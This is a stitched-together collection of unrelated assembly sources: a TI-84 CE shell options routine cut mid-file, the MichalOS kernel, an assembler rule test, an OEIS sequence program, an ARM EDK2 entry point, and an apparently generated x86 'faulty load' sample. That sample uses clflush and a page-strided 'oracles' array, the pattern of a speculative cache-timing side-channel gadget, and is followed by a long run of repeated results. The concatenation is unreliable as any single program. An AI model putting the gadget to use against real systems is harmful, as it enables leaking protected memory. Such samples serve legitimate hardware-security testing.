settings_flag) call nz,.getinput call util_move_prgm_name_to_op1 ; move the selected name to op1 call util_delete_var.op1 jr .refresh .delete_app: call util_check_if_app_page_directory jp z,main_start bit setting_delete_confirm,(iy + settings_flag) call nz,.showconfirm bit setting_delete_confirm,(iy + settings_flag) call nz,.getinput ld hl,(item_ptr) ld bc,0 - $100 add hl,bc call ti.DeleteApp set 3,(iy + $25) ; defrag on exit .refresh: ld hl,(current_selection_absolute) ld de,(number_of_items) inc hl compare_hl_de call z,main_move_up ld a,return_settings ld (return_info),a jp main_find ; reload everything .showconfirm: call gui_clear_status_bar set_inverted_text print string_delete_confirmation, 4, 228 set_normal_text ret .getinput: call util_get_key cp a,ti.skZoom ret z cp a,ti.skGraph jr nz,.getinput pop hl jp main_start feature_item_attributes: call feature_check_valid ld hl,.max_options ld (hl),2 ld a,(current_screen) cp a,screen_usb jq z,.usb cp a,screen_apps jp z,main_loop cp a,screen_programs jq z,.programs ld (hl),0 jq .appvars .programs: call util_move_prgm_name_to_op1 ld a,(ti.OP1 + 1) cp a,ti.tTheta + 1 jq nc,main_loop .appvars: ld a,(iy + prgm_flag) ld (iy + temp_prgm_flag),a ld hl,.check_hide_smc xor a,a ld (hl),a ld (current_option_selection),a bit prgm_archived,(iy + prgm_flag) jr nz,.show_edit ld (hl),$c9 .show_edit: ld a,(color_tertiary) ld (lcd_text_bg),a ; highlight the currently selected item call .get_option_metadata set_normal_text .loop: call util_show_time call lcd_blit call ti.GetCSC ld hl,.show_edit push hl cp a,ti.skDown jp z,.move_option_down cp a,ti.skUp jp z,.move_option_up pop hl cp a,ti.skAlpha jp z,.set_options cp a,ti.skMode jp z,.set_options cp a,ti.skClear jp z,.set_options cp a,ti.skDel jp z,.set_options cp a,ti.sk2nd jp z,.check_what_to_do cp a,ti.skEnter jr nz,.loop jp .check_what_to_do .usb: jp main_start .move_option_down: call .clear_current_selection cp a,2 .max_options := $-1 ret z inc a ld (current_option_selection),a ret .move_option_up: call .clear_current_selection or a,a ret z dec a ld (current_option_selection),a ret .clear_current_selection: call .get_option_metadata ld a,(current_option_selection) ret .get_option_metadata: ld a,(current_option_selection) ld l,a ld h,11 mlt hl ld a,118 add a,l ld bc,199 ld (lcd_x),bc ld (lcd_y),a ld a,(current_option_selection) ld hl,string_archived or a,a jr z,.draw ld hl,string_locked dec a jr z,.draw ld hl,string_hidden .draw: jp lcd_string .check_hide_toggle: ret .check_hide_smc := $ - 1 pop de jq gui_show_cannot_hide .check_what_to_do: ld hl,.show_edit push hl ld a,(current_option_selection) dec a jr z,.check_lock dec a call z,.check_hide_toggle jr .toggle_option .check_lock: ld a,(prgm_type) cp a,file_basic ; basic programs jr z,.toggle_option cp a,file_ice_source ; ice source programs ret nz .toggle_option: ld a,(current_option_selection) inc a call util_to_one_hot xor a,(iy + prgm_flag) ld (iy + prgm_flag),a jp gui_draw_item_options .set_options: call util_move_prgm_name_to_op1 ld a,(current_screen) cp a,screen_appvars jr z,.check_archived ; appvars can only be (un)archived call ti.ChkFindSym ld a,ti.ProgObj bit prgm_locked,(iy + prgm_flag) jr z,.unlock inc a .unlock: ld (hl),a ld hl,(prgm_ptr) ld hl,(hl) dec hl ; bypass name byte ld a,(hl) bit prgm_hidden,(iy + prgm_flag) jr z,.unhide cp a,64 jr c,.check_archived ; already hidden sub a,64 ld (hl),a jr .check_archived .unhide: cp a,64 jr nc,.check_archived ; not hidden add a,64 ld (hl),a ;jr .check_archived .check_archived: call util_move_prgm_name_to_op1 ; if needed, archive it call ti.ChkFindSym call ti.ChkInRam push af bit prgm_archived,(iy + prgm_flag) jr z,.unarchive .archive: pop af call z,cesium.Arc_Unarc jr nz,.return ld a,return_settings ld (return_info),a jp main_find .unarchive: pop af call nz,cesium.Arc_Unarc .return: jp main_start feature_check_valid: ld a,(prgm_type) cp a,file_dir jq z,.invalid cp a,file_usb_dir jq z,.invalid ret .invalid: pop hl jq main_loop
; ------------------------------------------------------------------ ; MichalOS Kernel ; ------------------------------------------------------------------ BITS 16 ORG 32768 ; ------------------------------------------------------------------ ; MACROS ; ------------------------------------------------------------------ %macro clr 1 xor %1, %1 %endmacro %macro mov16 3 mov %1, (%2 + %3 * 256) %endmacro %define ADLIB_BUFFER 0500h %define DESKTOP_BACKGROUND 0600h %define SYSTEM_FONT 1600h %define FILE_MANAGER 2600h %define disk_buffer 0E000h ; ------------------------------------------------------------------ ; MichalOS memory map: ; Segment 0000h: ; - 0000h - 03FFh = Interrupt vector table ; - 0400h - 04FFh = BIOS data area ; - 0500h - 05FFh = AdLib register buffer ; - 0600h - 15FFh = Desktop background (BG.ASC) ; - 1600h - 25FFh = System font (FONT.SYS) ; - 2600h - 35FFh = File manager (FILEMAN.APP) ; Segment 0360h: ; - 0000h - 00FFh = System variables ; - 0000h = RET instruction ; - 0001h - 0050h = Footer buffer ; - 0051h - 0081h = File selector filter buffer ; - 0082h = System state (byte) ; - 0 if a GUI application is running ; - 1 if a non-GUI application is running (no header/footer) ; - 0083h = Sound state (byte) ; - 0 if sound disabled ; - 1 if sound enabled ; - 0084h = Default boot device (byte) ; - 0085h = Default button for os_dialog_box (0 = OK, 1 = Cancel) (byte) ; - 0086h = int_filename_convert error status (byte) ; - 0 if filename too long ; - 1 if filename empty ; - 2 if no extension found ; - 3 if no basename found ; - 4 if extension too short ; - 0087h = Flag for os_file_selector input (byte) ; - 0088h = Maximum number of characters that os_input_string can input (byte) ; - 0089h = Width of os_list_dialog (word) ; - 00E0h - 00EFh - parameters for an app (eg. a file to open when an app launches) ; - 00F0h - 00FFh - temporary buffer for storing apps' filenames ; - 0100h - 7FFEh = Application ; - 7FFEh - Application return flag ; - 0 = return to the desktop after an application quits ; - 1 = launch another application (00F0h-00FFh) after an application quits ; (example: when a user opens an app through Terminal, then terminal stores its name to 00F0h-00FFh so it starts after the requested application exits) ; - 7FFFh - Application launch flag ; - 0 = return to the desktop after an application quits ; - 1 = launch another application (filename passed in AX) after an application quits ; - Note: after launching another application this flag is set to 0 ; - 8000h - DEA7h = MichalOS kernel ; - DEA8h - DFFFh = Configuration file (SYSTEM.CFG) ; - described in CONFIG.ASM ; - E000h - FFFFh = Disk buffer ; End of memory: 2048 bytes stack ; ------------------------------------------------------------------ ; ------------------------------------------------------------------ ; OS CALL VECTORS os_call_vectors: jmp os_main ; 8000h -- Called from bootloader jmp os_print_string ; 8003h jmp os_move_cursor ; 8006h jmp os_clear_screen ; 8009h jmp os_print_horiz_line ; 800Ch jmp os_print_newline ; 800Fh jmp os_wait_for_key ; 8012h jmp os_check_for_key ; 8015h jmp os_int_to_string ; 8018h jmp os_speaker_tone ; 801Bh jmp os_speaker_off ; 801Eh jmp os_load_file ; 8021h jmp os_pause ; 8024h jmp os_fatal_error ; 8027h jmp os_draw_background ; 802Ah jmp os_string_length ; 802Dh jmp os_string_uppercase ; 8030h jmp os_string_lowercase ; 8033h jmp os_input_string ; 8036h jmp os_string_copy ; 8039h jmp os_dialog_box ; 803Ch jmp os_string_join ; 803Fh jmp os_get_file_list ; 8042h jmp os_string_compare ; 8045h jmp os_string_chomp ; 8048h jmp os_string_to_hex ; 804Bh jmp os_adlib_regwrite ; 804Eh jmp os_bcd_to_int ; 8051h jmp os_get_time_string ; 8054h jmp os_draw_logo ; 8057h jmp os_file_selector ; 805Ah jmp os_get_date_string ; 805Dh jmp os_send_via_serial ; 8060h jmp os_get_via_serial ; 8063h jmp os_find_char_in_string ; 8066h jmp os_get_cursor_pos ; 8069h jmp os_print_space ; 806Ch jmp os_option_menu ; 806Fh jmp os_print_digit ; 8072h jmp os_print_1hex ; 8075h jmp os_print_2hex ; 8078h jmp os_print_4hex ; 807Bh jmp os_set_timer_speed ; 807Eh jmp os_report_free_space ; 8081h jmp os_string_add ; 8084h jmp os_speaker_note_length ; 8087h jmp os_show_cursor ; 808Ah jmp os_hide_cursor ; 808Dh jmp os_dump_registers ; 8090h jmp os_list_dialog_tooltip ; 8093h jmp os_write_file ; 8096h jmp os_file_exists ; 8099h jmp os_create_file ; 809Ch jmp os_remove_file ; 809Fh jmp os_rename_file ; 80A2h jmp os_get_file_size ; 80A5h jmp os_input_dialog ; 80A8h jmp os_list_dialog ; 80ABh jmp os_string_reverse ; 80AEh jmp os_string_to_int ; 80B1h jmp os_draw_block ; 80B4h jmp os_get_random ; 80B7h jmp os_print_32int ; 80BAh jmp os_serial_port_enable ; 80BDh jmp os_sint_to_string ; 80C0h jmp os_string_parse ; 80C3h jmp os_run_basic ; 80C6h jmp os_adlib_calcfreq ; 80C9h jmp os_attach_app_timer ; 80CCh jmp os_string_tokenize ; 80CFh jmp os_clear_registers ; 80D2h jmp os_format_string ; 80D5h jmp os_putchar ; 80D8h jmp os_start_adlib ; 80DBh jmp os_return_app_timer ; 80DEh jmp os_reset_font ; 80E1h jmp os_print_string_box ; 80E4h jmp os_put_chars ; 80E7h jmp os_check_adlib ; 80EAh jmp os_draw_line ; 80EDh jmp os_draw_polygon ; 80F0h jmp os_draw_circle ; 80F3h jmp os_clear_graphics ; 80F6h jmp os_get_file_datetime ; 80F9h jmp os_string_encrypt ; 80FCh jmp os_put_pixel ; 80FFh jmp os_get_pixel ; 8102h jmp os_draw_icon ; 8105h jmp os_stop_adlib ; 8108h jmp os_adlib_noteoff ; 810Bh jmp os_int_1Ah ; 810Eh jmp os_int_to_bcd ; 8111h jmp os_decompress_zx7 ; 8114h jmp os_password_dialog ; 8117h jmp os_adlib_mute ; 811Ah jmp os_draw_rectangle ; 811Dh jmp os_get_memory ; 8120h jmp os_color_selector ; 8123h jmp os_modify_int_handler ; 8126h jmp os_32int_to_string ; 8129h jmp os_print_footer ; 812Ch jmp os_print_8hex ; 812Fh jmp os_string_to_32int ; 8132h jmp os_math_power ; 8135h jmp os_math_root ; 8138h jmp os_input_password ; 813Bh jmp os_get_int_handler ; 813Eh jmp os_illegal_call ; 8141h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_temp_box ; 8144h jmp os_adlib_unmute ; 8147h jmp os_read_root ; 814Ah jmp os_illegal_call ; 814Dh ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8150h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8153h ; FREE!!!!!!!!!!!!!!!!!!! jmp disk_convert_l2hts ; 8156h ; ------------------------------------------------------------------ ; START OF MAIN KERNEL CODE os_main: int 12h ; Get RAM size dec ax ; Some BIOSes round up, so we have to sacrifice 1 kB :( shl ax, 6 ; Convert kB to segments cli sub ax, 65536 / 16 ; Set the stack to the top of the memory mov ss, ax mov sp, 0FFFEh ; xor ax, ax ; mov ss, ax ; Set stack segment and pointer ; mov sp, 0FFFEh sti cld ; The default direction for string operations ; will be 'up' - incrementing address in RAM mov ax, cs ; Set all segments to match where kernel is loaded mov ds, ax mov es, ax mov fs, [driversgmt] add ax, 1000h mov gs, ax mov byte [0000h], 0xC3 mov [0084h], dl mov [bootdev], dl ; Save boot device number mov byte [0088h], 255 mov word [0089h], 76 mov byte [00E0h], 0 mov [Sides], bx mov [SecsPerTrack], cx clr ax call os_serial_port_enable ; Load the files push es mov es, [driversgmt] mov ax, fileman_name mov cx, FILE_MANAGER call os_load_file mov ax, bg_name mov cx, DESKTOP_BACKGROUND call os_load_file jnc .background_ok mov byte [DESKTOP_BACKGROUND], 0 .background_ok: mov ax, font_name mov cx, SYSTEM_FONT call os_load_file pop es cli mov di, cs mov cl, 00h ; Divide by 0 error handler mov si, os_compat_int00 call os_modify_int_handler mov cl, 0Ch ; Stack overflow mov si, os_compat_int0C call os_modify_int_handler mov cl, 05h ; Debugger mov si, os_compat_int05 call os_modify_int_handler mov cl, 06h ; Bad instruction error handler mov si, os_compat_int06 call os_modify_int_handler mov cl, 07h ; Processor extension error handler mov si, os_compat_int07 call os_modify_int_handler mov cl, 1Ch ; RTC handler mov si, os_compat_int1C call os_modify_int_handler sti ; int 5 call os_seed_random mov di, 100h mov al, 0 mov cx, 7EFFh rep stosb call os_reset_font mov ax, 1003h ; Set text output with certain attributes mov bl, 0 ; to be bright, and not blinking int 10h mov ax, 0305h mov bx, 0104h int 16h mov byte [0082h], 0 mov ax, system_cfg ; Try to load SYSTEM.CFG mov cx, 57000 call os_load_file mov al, [57069] ; Copy the default sound volume (on/off) mov [0083h], al jc load_demotour ; If failed, it doesn't exist, so the system is run for the first time logoinput: mov ax, osname ; Set up the welcome screen mov bx, empty_string mov cx, 07h ; Colour: black call os_draw_background call os_hide_cursor mov dx, 9 * 256 call os_move_cursor mov ax, 0920h mov bx, 00000100b mov cx, 560 int 10h mov si, logo call os_draw_icon mov dx, 20 * 256 + 2 call os_move_cursor mov si, greetingmsg call os_print_string mov si, 57036 call os_print_string mov al, '!' call os_putchar mov dx, 22 * 256 + 2 call os_move_cursor mov si, passwordmsg call os_print_string mov ax, 523 mov cx, 2 call os_speaker_note_length call os_wait_for_key enterpressed: call os_show_cursor cmp byte [57002], 0 ; Is the password disabled? je checkformenu ; If it is, continue .try: mov dx, 22 * 256 ; Clean the text on the screen call os_move_cursor mov ax, 0920h mov bx, 7 mov cx, 80 int 10h mov dx, 22 * 256 + 2 ; Ask for the password call os_move_cursor mov si, passentermsg call os_print_string mov ax, 100h mov bl, 7 mov byte [0088h], 32 call os_input_password mov byte [0088h], 255 mov si, 100h call os_string_encrypt mov di, 57003 call os_string_compare jnc .try ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;end LOGO! checkformenu: call os_hide_cursor call background checkformenuloop: call os_wait_for_key cmp al, 32 ; Space pressed? je near option_screen ; Open the menu cmp al, 'a' ; a pressed? je near load_fileman ; Open the file manager jmp checkformenuloop greetingmsg db 'Greetings, ', 0 passwordmsg db 'Press any key to log in...', 0 passentermsg db 'Enter your password: ', 0 os_init_msg db 'MichalOS Desktop', 0 os_version_msg db '[Space] Open the main menu [A] Open the file manager', 0 ; TODO: THE FOLLOWING CODE NEEDS TO BE REWRITTEN option_screen: call menu_background mov ax, menuoptions mov bx, 13 call os_option_menu jc checkformenu cmp ax, 1 je near app_selector cmp ax, 2 je near game_selector cmp ax, 3 je near logoinput cmp ax, 4 je near os_reboot cmp ax, 5 je near os_shutdown app_selector: call menu_background mov ax, progoptions mov bx, 20 call os_option_menu jc option_screen cmp ax, 1 je near load_fileman cmp ax, 13 je near debug_stuff mov si, ax sub si, 2 shl si, 1 add si, appindex1 lodsw mov si, ax mov di, 0100h call os_string_copy mov ax, 0100h mov bx, app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program debug_stuff: call menu_background mov ax, debugoptions mov bx, 31 call os_option_menu jc app_selector mov si, ax dec si shl si, 1 add si, debugindex1 lodsw mov si, ax mov di, 0100h call os_string_copy mov ax, 0100h mov bx, app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program game_selector: call menu_background mov ax, gameoptions mov bx, 19 call os_option_menu jc option_screen mov si, ax dec si shl si, 1 add si, gameindex1 lodsw launch_program: mov byte [32767], 0 call background pusha mov si, ax mov bx, si mov ax, si call os_string_length mov si, bx add si, ax ; SI now points to end of filename... dec si dec si dec si ; ...and now to start of extension! mov di, app_ext mov cx, 3 rep cmpsb ; Are final 3 chars 'APP'? jne launch_basic ; If not, try 'BAS' popa mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc checkformenu pusha mov cx, 7EFDh sub cx, bx mov di, 100h add di, bx mov al, 0 rep stosb popa call os_show_cursor jmp execute_bin_program launch_basic: popa pusha mov si, ax mov bx, si mov ax, si call os_string_length mov si, bx add si, ax ; SI now points to end of filename... dec si dec si dec si ; ...and now to start of extension! mov di, bas_ext mov cx, 3 rep cmpsb ; Are final 3 chars 'BAS'? jne program_error ; If not, error out popa mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc checkformenu pusha mov cx, 7EFDh sub cx, bx mov di, 100h add di, bx mov al, 0 rep stosb popa call os_show_cursor mov ax, 100h clr si call os_run_basic mov si, basic_finished_msg call os_print_string call os_wait_for_key call os_clear_screen mov byte [0082h], 0 jmp checkformenu program_error: popa call background mov ax, prog_msg clr bx clr cx clr dx call os_dialog_box jmp checkformenu load_fileman: push ds mov ds, [driversgmt] mov si, FILE_MANAGER mov di, 0100h mov cx, 1000h rep movsb pop ds jmp execute_bin_program load_demotour: mov byte [0083h], 1 mov ax, demotour_name mov cx, 100h call os_load_file call os_clear_registers call 100h jmp logoinput load_command: mov ax, cmd_name mov bx, app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program start_program: ; BX = program name pusha mov cx, 7EFDh mov di, 100h mov al, 0 rep stosb popa mov ax, bx mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc systemfilemissing call os_show_cursor jmp execute_bin_program return_to_app: mov ax, 00F0h mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc systemfilemissing execute_bin_program: call os_clear_screen ; Clear the screen before running mov byte [0082h], 0 mov byte [app_running], 1 mov [origstack], sp call os_clear_registers call 100h finish: mov byte [app_running], 0 call os_stop_adlib ; Reset everything (in case the app crashed or something) call os_speaker_off push ax mov ax, cs mov ds, ax mov es, ax pop ax pusha mov ah, 0Fh ; Get the current video mode int 10h cmp al, 3 je .skip_gfx mov ax, 3 int 10h .skip_gfx: mov ax, 1003h ; Set text output with certain attributes clr bx ; to be bright, and not blinking int 10h mov byte [0082h], 0 mov byte [0085h], 0 call os_reset_font popa cmp byte [7FFFh], 1 je near launch_program cmp byte [7FFEh], 1 je near return_to_app jmp checkformenu ; When finished, go back to the program list ; TODO: THE CODE ABOVE NEEDS TO BE REWRITTEN background: pusha mov ax, os_init_msg ; Draw main screen layout mov bx, os_version_msg mov cx, 256 ; Colour: white text on light blue call os_draw_background popa ret menu_background: pusha cmp byte [57071], 1 je .done call background .done: popa ret systemfilemissing: mov ax, noprogerror call os_fatal_error ; And now data for the above code... driversgmt dw 0000h prog_msg db 'This file is not an application!', 0 noprogerror db 'System file not found', 0 appindex1 dw edit_name, viewer_name, calc_name, clock_name, cmd_name, config_name, ascii_name, pixel_name, player_name, hwcheck_name, about_name debugindex1 dw debug0_name, debug1_name, debug2_name, debug3_name, debug4_name, debug5_name, debug6_name, debug7_name, debug8_name, debug9_name, debug11_name, debug12_name, debug13_name, debug14_name gameindex1 dw cf_name, inkspill_name, spaceinv_name, asmtris_name, sudoku_name, fisher_name, miketron_name, muncher_name, hangman_name, snake_name edit_name db 'EDIT', 0 viewer_name db 'VIEWER', 0 calc_name db 'CALC', 0 clock_name db 'CLOCK', 0 cmd_name db 'TERMINAL', 0 config_name db 'CONFIG', 0 ascii_name db 'ASCIIART', 0 pixel_name db 'PIXEL', 0 player_name db 'PLAYER', 0 hwcheck_name db 'HWCHECK', 0 about_name db 'ABOUT', 0 debug0_name db 'FONTEDIT', 0 debug1_name db 'DISKTEST', 0 debug2_name db 'KBDTEST', 0 debug3_name db 'SERIAL', 0 debug4_name db 'RTCTEST', 0 debug5_name db 'SECTOR', 0 debug6_name db 'MEMEDIT', 0 debug7_name db 'BOXES', 0 debug8_name db 'DOTS', 0 debug9_name db 'DEADPIXL', 0 debug11_name db 'CHECK', 0 debug12_name db 'RDTSC', 0 debug13_name db 'TEST', 0 debug14_name db 'STATIC', 0 cf_name db 'CF.BAS', 0 inkspill_name db 'INKSPILL.BAS', 0 spaceinv_name db 'SPACEINV.APP', 0 asmtris_name db 'ASMTRIS.APP', 0 sudoku_name db 'SUDOKU.APP', 0 fisher_name db 'FISHER.APP', 0 miketron_name db 'MIKETRON.BAS', 0 muncher_name db 'MUNCHER.BAS', 0 hangman_name db 'HANGMAN.APP', 0 snake_name db 'SNAKE.APP', 0 app_prefix db '.' app_ext db 'APP', 0 bas_ext db 'BAS', 0 fileman_name db 'FILEMAN.APP', 0 demotour_name db 'DEMOTOUR.APP', 0 system_cfg db 'SYSTEM.CFG', 0 font_name db 'FONT.SYS', 0 bg_name db 'BG.SYS', 0 basic_finished_msg db 'BASIC program ended', 0 empty_string db 0 menuoptions db 'Programs,Games,Log out,Reboot,Power off', 0 gameoptions db 'Cosmic Flight,InkSpill,Space Inventors,aSMtris,Sudoku,Deep Sea Fisher,MikeTron,Muncher,Hangman,Snake', 0 debugoptions db 'Font editor,Disk detection test,Keyboard tester,Serial communication tester,RTC clock tester,Disk Sector inspector,Memory editor,Boxes,Dots,Dead pixel tester,Disk sector checker,TSC register tester,Simple test app,TV static generator (CGA)', 0 progoptions db 'File manager,Text editor,Image viewer,Calculator,Clock,Terminal,Settings,ASCII art editor,Pixel art editor,Music player,Hardware checker,About MichalOS,Other stuff...', 0 ; ------------------------------------------------------------------ ; SYSTEM VARIABLES -- Settings for programs and system calls ; System runtime variables origstack dw 0 ; SP before launching a program app_running db 0 ; Is a program running? ; program_drawn db 0 ; Is the program already drawn by os_draw_background? ; ------------------------------------------------------------------ ; FEATURES -- Code to pull into the kernel %INCLUDE "features/icons.asm" %INCLUDE "features/disk.asm" %INCLUDE "features/keyboard.asm" %INCLUDE "features/math.asm" %INCLUDE "features/misc.asm" %INCLUDE "features/ports.asm" %INCLUDE "features/screen.asm" %INCLUDE "features/sound.asm" %INCLUDE "features/string.asm" %INCLUDE "features/basic.asm" %INCLUDE "features/int.asm" %INCLUDE "features/graphics.asm" %INCLUDE "features/name.asm" %INCLUDE "features/shutdown.asm" %INCLUDE "features/zx7.asm" ; ================================================================== ; END OF KERNEL ; ================================================================== os_kernel_end:
#ruledef test { ld {x: u8} => { 0x11 @ x`8 } ld {x: u16} => { 0x22 @ x`16 } ld {x: u24} => { 0x33 @ x`24 } } ld 0x5 ; = 0x1105
; A025777: Expansion of 1/((1-x)*(1-x^5)*(1-x^7)). ; 1,1,1,1,1,2,2,3,3,3,4,4,5,5,6,7,7,8,8,9,10,11,12,12,13,14,15,16,17,18,19,20,21,22,23,25,26,27,28,29,31,32,34,35,36,38,39,41,42,44,46,47,49,50,52,54,56,58,59,61,63,65,67,69,71,73,75,77,79,81,84 add $0,6 mov $2,6 mov $3,6 lpb $0,1 add $0,1 lpb $2,1 add $1,4 trn $2,7 lpe trn $0,$3 add $2,$0 lpe sub $1,8 div $1,4 add $1,1
// // Copyright (c) 2011-2013, ARM Limited. All rights reserved. // // This program and the accompanying materials // are licensed and made available under the terms and conditions of the BSD License // which accompanies this distribution. The full text of the license may be found at // http://opensource.org/licenses/bsd-license.php // // THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, // WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. // // #include <AutoGen.h> INCLUDE AsmMacroIoLib.inc IMPORT CEntryPoint IMPORT ArmPlatformGetCorePosition IMPORT ArmPlatformIsPrimaryCore IMPORT ArmReadMpidr IMPORT ArmPlatformPeiBootAction EXPORT _ModuleEntryPoint PRESERVE8 AREA PrePeiCoreEntryPoint, CODE, READONLY StartupAddr DCD CEntryPoint _ModuleEntryPoint // Do early platform specific actions bl ArmPlatformPeiBootAction // Identify CPU ID bl ArmReadMpidr // Keep a copy of the MpId register value mov r5, r0 // Is it the Primary Core ? bl ArmPlatformIsPrimaryCore // Get the top of the primary stacks (and the base of the secondary stacks) mov32 r1, FixedPcdGet64(PcdCPUCoresStackBase) + FixedPcdGet32(PcdCPUCorePrimaryStackSize) // r0 is equal to 1 if I am the primary core cmp r0, #1 beq _SetupPrimaryCoreStack _SetupSecondaryCoreStack // r1 contains the base of the secondary stacks // Get the Core Position mov r6, r1 // Save base of the secondary stacks mov r0, r5 bl ArmPlatformGetCorePosition // The stack starts at the top of the stack region. Add '1' to the Core Position to get the top of the stack add r0, r0, #1 // StackOffset = CorePos * StackSize mov32 r2, FixedPcdGet32(PcdCPUCoreSecondaryStackSize) mul r0, r0, r2 // SP = StackBase + StackOffset add sp, r6, r0 _PrepareArguments // The PEI Core Entry Point has been computed by GenFV and stored in the second entry of the Reset Vector mov32 r2, FixedPcdGet32(PcdFvBaseAddress) ldr r1, [r2, #4] // Move sec startup address into a data register // Ensure we're jumping to FV version of the code (not boot remapped alias) ldr r3, StartupAddr // Jump to PrePeiCore C code // r0 = mp_id // r1 = pei_core_address mov r0, r5 blx r3 _SetupPrimaryCoreStack mov sp, r1 b _PrepareArguments _NeverReturn b _NeverReturn END
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %r8 push %rax push %rcx push %rdx lea addresses_WT_ht+0x15f0a, %rcx clflush (%rcx) cmp $6928, %rax movb (%rcx), %r14b nop and %r15, %r15 lea addresses_A_ht+0x1ca8a, %r8 nop nop add %rdx, %rdx movl $0x61626364, (%r8) nop nop nop nop nop cmp %r15, %r15 pop %rdx pop %rcx pop %rax pop %r8 pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rcx push %rdx // Store lea addresses_UC+0xceda, %r11 nop nop nop nop nop cmp %r12, %r12 movb $0x51, (%r11) nop nop nop nop sub $58192, %r12 // Faulty Load lea addresses_WC+0x6b0a, %r10 nop nop nop xor $29569, %rcx movups (%r10), %xmm1 vpextrq $0, %xmm1, %r11 lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rdx pop %rcx pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 